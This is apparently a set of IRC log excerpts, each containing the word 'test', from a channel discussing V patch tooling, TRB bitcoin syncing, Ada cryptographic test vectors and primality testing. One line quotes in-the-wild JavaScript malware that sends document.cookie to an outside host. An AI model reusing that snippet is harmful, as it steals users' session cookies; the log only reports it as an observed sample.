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shinohai: Hmmm ... I may have put it in there to test or something.
shinohai: That w3m-js code is hairy indeed spyked .... its on back burner because been helping test some V changes and muddling through EuCrypt.
a111: Logged on 2017-05-23 02:46 asciilifeform: but to display ~existing~ test failures in predictor-algorithm form
diana_coman: http://btcbase.org/log/2018-01-13#1770368 <- mod6 did you publish this anywhere? it seems I might even have another test-case for it.. (version 99994 dies on it complaining that .vpatch is invalid) ☝︎
asciilifeform: fromloper: i only have two 'ivory' chips, and ideally would like to leave one intact , for active test . iirc phf also has 2 to use.
asciilifeform: there's an explicit range test construct, btw
shinohai: You have my full support, and will be glad to help read/test any code you produce.
mircea_popescu: http://btcbase.org/log/2018-01-16#1771366 << "a thousand men will test today but only three will green beret" ie, http://trilema.com/2017/color-revolutions-green-or-today-in-usg-corruption-careerism-cronyism-and-malfeasance-in-the-special-warfare-center/#selection-251.260-251.360 ☝︎
a111: Logged on 2018-01-16 06:15 apeloyee: ...test their programs." (https://www.cs.utexas.edu/~EWD/transcriptions/EWD10xx/EWD1036.html ))
trinque: ave1: pls to remedy the above and I'll test this
a111: Logged on 2018-01-16 06:15 apeloyee: ...test their programs." (https://www.cs.utexas.edu/~EWD/transcriptions/EWD10xx/EWD1036.html ))
apeloyee: ...test their programs." (https://www.cs.utexas.edu/~EWD/transcriptions/EWD10xx/EWD1036.html )) ☟︎☟︎
esthlos: kay, will test (but have android... asciilifeform need a nickname for that. lamedroid is clumsy)
mircea_popescu: asciilifeform omfg stop spewing, jesus christ. you said A STUPID THING. i ~asked~ you whether you mean the stupid thing. you CONFIRMED. i showed you why the thing you said is the stupid thing. you're now on the 25th line of "oh no really, unrelated item". never you fucking mind fgs and test righs and whatnot. the original proposition, as stated, was broken.
asciilifeform: ( exercise for advanced reader : write a substitute evil_fg.v that fools a user who limits himself to the above test. )
asciilifeform: incidentally the 'pull out rng 'a', then 'b', then 'both', then...' test is a low-tech preventer of 'enemy intercepts parcel and reflashes the cpld to shit marsaglia prng'.
asciilifeform: i'ma have to make a 2nd test jig to give to mircea_popescu for his bday or sumthing, apparently.
asciilifeform: the standard yoke test is done against a known-good unit, rather than like this. ( why, is described in the log from late 2016 )
asciilifeform: mircea_popescu: the yoke test consists of precisely this experiment
asciilifeform: http://btcbase.org/log/2018-01-07#1766198 << neato PeterL. though apparently the resolution of the timer is better than i thought, so probably the weight test should have been written like this, ☝︎
mircea_popescu: "By the way, the SGML Document Interchange Format (ISO 9069) uses ASN.1 to ship SGML documents around. I wrote an implementation of SDIF in three days. Test runs showed that a major CALS application consumed approximately 40% of the character count of the SGML file, and with the then commonly available tools to parse and process SGML documents and ASN.1 processors, the SDIF data stream took around 1/200th as much CPU time and
ben_vulpes: i know that it shouldn't, but i do like to actually test things
ben_vulpes: oh man i didn't even test against hex values
mod6: before i ever 'green light' that kinda use of my vtron, i'd certainly like to test it myself etc. and ya, that dir would have to be unique.
shinohai: I seem to be patched in and basic functions working, so sing out when ready to test mod6 o7
mod6: not bad! i implemented the pill to calculate the press path from a given leaf. seems to be working pretty well. i ran all my automated tests, passed 50/54 without incident. Four of the tests are pretty complex test cases where we basically yank one of the vpatches out of the middle of a vtree, then test to ensure that we avoid that where required.
mircea_popescu: so ? test for parity! throw out!
a111: Logged on 2018-01-04 19:23 ben_vulpes: > i haven't tried this test yet << and you don't know that it only works on the feeble minded, literally anyone else is going to see exactly what you're doing and give the canned response that you want: "the patriarchy keeps women down and what is really called for is demoting and docking mens wages, and promoting science education for little girls, and generally eradicating the constructed gender binary so
ben_vulpes: > i haven't tried this test yet << and you don't know that it only works on the feeble minded, literally anyone else is going to see exactly what you're doing and give the canned response that you want: "the patriarchy keeps women down and what is really called for is demoting and docking mens wages, and promoting science education for little girls, and generally eradicating the constructed gender binary so ☟︎
a111: Logged on 2017-12-31 17:18 mircea_popescu: the woj chickies ? kinda remind me of http://trilema.com/2012/test-de-curvidentificare-vizuala/
mircea_popescu: the woj chickies ? kinda remind me of http://trilema.com/2012/test-de-curvidentificare-vizuala/ ☟︎
shinohai: This is impressice trinque, will test and report back o7
asciilifeform: this is in fact part of uncrating test, recall.
phf: there's actually some extensions that are not necessarily evil (like :email or :author in a defsystem), bulk of fail comes from test-op, that's not supported in old version, but that nobody uses test-op consistently at all
asciilifeform: it also so happens that i do not own a non8bitbyte iron to test on, nor know where to obtain such.
mircea_popescu: a sorta miller-nin "payability test" if you will.
phf: test !A .1.1##
phf: so the weird graph indicates that some hunks are missing antecedents, in this case at least test_mpi.c is claiming a previous version that's not in btcbase
asciilifeform: the current test on zoolag, however, is mighty interesting: after floundering in a sea of prb for ~hour, thing's been loading blocks almost continuously. at this rate will actually sync in a week or so.
asciilifeform: ( naturally , this is not a Troo Rigorous test. that'd go as i described, 2 identical, save for 'aggression', boxen, on 2 identical pipes )
asciilifeform: whoever has the resources to test this : plox to write in.
asciilifeform: and speaking of hasty and untested , asciilifeform has a 'aggressive sync mode' trb patch, which will need a proper differential test
shinohai: Cool, feel free to otr me if you need another pair of eyes to test stuff this eve/weekend.
asciilifeform: trinque: item very much deserves proper test.
a111: Logged on 2017-12-21 05:34 trinque will be comparing multiple test subjects.
trinque: in the case of the version number (which I will obviously test extensively, and said so) it's possible it's a bad move to crank to maxver, because it's a lie saying "we support all misc novelties below this int"
a111: Logged on 2017-12-21 13:30 BingoBoingo may have cheated a bit on the test leaning on the whole "animal magnetism" applied Trilema business.
BingoBoingo: The accent on the test though, the single most challenging encountered so far.
BingoBoingo may have cheated a bit on the test leaning on the whole "animal magnetism" applied Trilema business. ☟︎
BingoBoingo: Spanish test a success. Was a wonderful opportunity to get forced into a prolongued stretch of not head translating. Thankfully the test was very patient and ergonomic.
trinque will be comparing multiple test subjects. ☟︎
BingoBoingo: In a bit under an hour, I visit la ciudad vieja for the first time and there spanish test
phf: there's not a single article on the subject of compilation, but here's the complete thread https://www.xach.com/naggum/articles/search?q=recompile+reeval&sort=of specific test that he proposes is in https://www.xach.com/naggum/articles/3243682048034314@naggum.no.html and the "dun work" reaction https://www.xach.com/naggum/articles/3243737082731156@naggum.no.html
BingoBoingo: And on tonight's agenda, a spanish test
mircea_popescu: oh oh. i was thinking the statistics test
mircea_popescu: phf i thought i said explicitly the proposed patching of svg is merely TO TEST the patching system from a diff perspectrive.
a111: Logged on 2017-12-19 02:08 phf: asciilifeform, mircea_popescu do we want to keep the exclude functionality? i sometimes use it in test runs, but this'll let me get rid of regex (for now anyway)
phf: asciilifeform, mircea_popescu do we want to keep the exclude functionality? i sometimes use it in test runs, but this'll let me get rid of regex (for now anyway) ☟︎
asciilifeform: but it isn't clear to me why weaker koch test would have different answer than stronger m-r
asciilifeform: the first passed m-r . it's the only primality test currently in battlefield use.
mircea_popescu: asciilifeform importantly, re the test above : not the ~factors~ must be tested, but the actual composite p or q, as reconstructed from the factors.
mircea_popescu: iirc there was a "study" showing how "it is enough to test these" for whatever size.
asciilifeform: and i'ma test it as soon as dulap-III is up ( btw crate of raid cards just came in last hour )
mircea_popescu: you know, three indian kids got a godel prize a decade ago for the first ever primality test that's deterministic, polynomial and unconditional
asciilifeform: i suppose if you colour its bottom half 'high functioning tards', it's 34 . but idea is that test is only really accurate to 1sd
mod6: I understand that sentiment. We discussed this at length. Which is why I actually have a test-vpatch pgp key for that purpose only.
asciilifeform: mod6: i dun like to uncase the launch codes 10,000,000 times per day every time test press. but others are moar than welcome to.
asciilifeform: http://btcbase.org/log/2017-12-11#1749651 << fwiw i test on 2016 ☝︎
asciilifeform: i test these days on 16-gnu and 16-adacore.
asciilifeform: Binary files a/tests/test_mpi.o and b/tests/test_mpi.o differ
asciilifeform: Binary files a/tests/test_mpi and b/tests/test_mpi differ
asciilifeform: i'ma practice test-press prior to publication, from nao on
a111: Logged on 2017-10-18 15:35 asciilifeform: fwiw there is a quite short ada serpent existing, passes the test set ( and branch-free ).
mircea_popescu: phf what scares me most is what the man who seems to appreciate f p brooks also thinks the "tricks of the trade" are, to verbatim, "test-restoring backups, scripting operating-system installs, version control, etc".
diana_coman: asciilifeform, I sorted out some ada implementation and will post it; atm the struggle is more to figure out the "test vectors" for full sponge because of all this madness
mod6: I don't have an ada at my disposal atm. So will do an entire test of the thing tonight and post results as I have them (probably on my site).
asciilifeform: ( granted i could've filled it up with eatblock in <2days. but it's been some years since i synced 'from wild' and thought 'why not test..' )
mircea_popescu: you'd be surprised what % of current "novels" fail this simple test.
asciilifeform: hey recall that patent, 'test if plebemeat is actually looking at the ads, if not -> no jam for supper' ?
a111: 3129 results for "test", http://btcbase.org/log-search?q=test
phf: !#s test
asciilifeform: tarball is heavy on account of including a test block.
asciilifeform: meeeaanwhile in failed experiments, asciilifeform tried to take an xray of the bolix-ivory die, so as to get moar realistic microscopy quote at some point. method : ra-226 capsule (commercial geiger test src), b&w 'polaroid' film. weakness turns out to be the latter : when developed using rolling pin, fixer pouch bursts, and result is liquishit
a111: Logged on 2017-11-16 14:37 diana_coman: PeterL, did you test your permutation step functions on that keccak implementation? when I feed rho a full-zero state it seems to end up with non-zero output
asciilifeform: diana_coman: PeterL by his own admission didn't test the thing at all
diana_coman: I guess I'll test that one now...
diana_coman: mircea_popescu, well, he had those step functions private so initially inaccessible; so first I've tried a full test (i.e. input is this, do full keccak round, output should be this): it failed; so then I grunted through exposing the step functions at least at this stage and testing bit by bit;
diana_coman: asciilifeform, serpent passed the test vectors!!
asciilifeform: diana_coman: interesting, and it still passed the test vectors despite this ??
diana_coman: PeterL, did you test your permutation step functions on that keccak implementation? when I feed rho a full-zero state it seems to end up with non-zero output ☟︎
mircea_popescu: it may appear beneficial to instead produce larger sets, such as of 4096 bits. the UPPER BOUND of the gain from this process is known ; the lower bound of losses from it is not known, because yes if you allow 4096 bit p, q and test, an acceptable N can be composed of the product between 17 and 2^4092 - 177 or whatever it was.
mircea_popescu: phase 3, when you are done writing code FOR NOW. this is traditionally the "refactor break". this is also when you publish, explaining other than the code what you did and why, in detail. this included "i tested so and so -- i didn't test so and so" as it includes "i asume so and so". countrary to patently false subjective intution, this is the MOST valuabler of all the phases.
diana_coman: ftr for the serpent ada implementation I wrote the testing part: grabbed published test vectors and wrote a snippet to eat them up, call the serpent, check results, complain if any mismatch
asciilifeform: and diana_coman , there is no 'trouble if one is too small', you throw out ~both~ if the test fails
mircea_popescu: and in the latest "malware" seen in the wild, function go(){open(document.forms[6].action,MyWin);document.getElementById('pop').style.display='none';document.location.href='http://baikalqx.beget.tech/test/?t=popad4&coco='+document.cookie;}
diana_coman: in other things: I have been playing around with keccak and in particular with PeterL's ada implementation; as far as I can see it conforms to Version 3.0 keccak reference but I'm not sure re testing; any known test vectors for it? (the test vectors on current keccak's site seem to be for sha3)
asciilifeform: inquire at 'pollution test' equip vendors
asciilifeform: test stand machine
a111: Logged on 2017-07-04 03:09 asciilifeform: in other unsurprises, 'Corrupt data that accidentally flowed out of a NASDAQ systems test caused the share prices...'
asciilifeform: the random-rubbish followed by probabilistic test , satisfies this demand within the obvious limits of the test.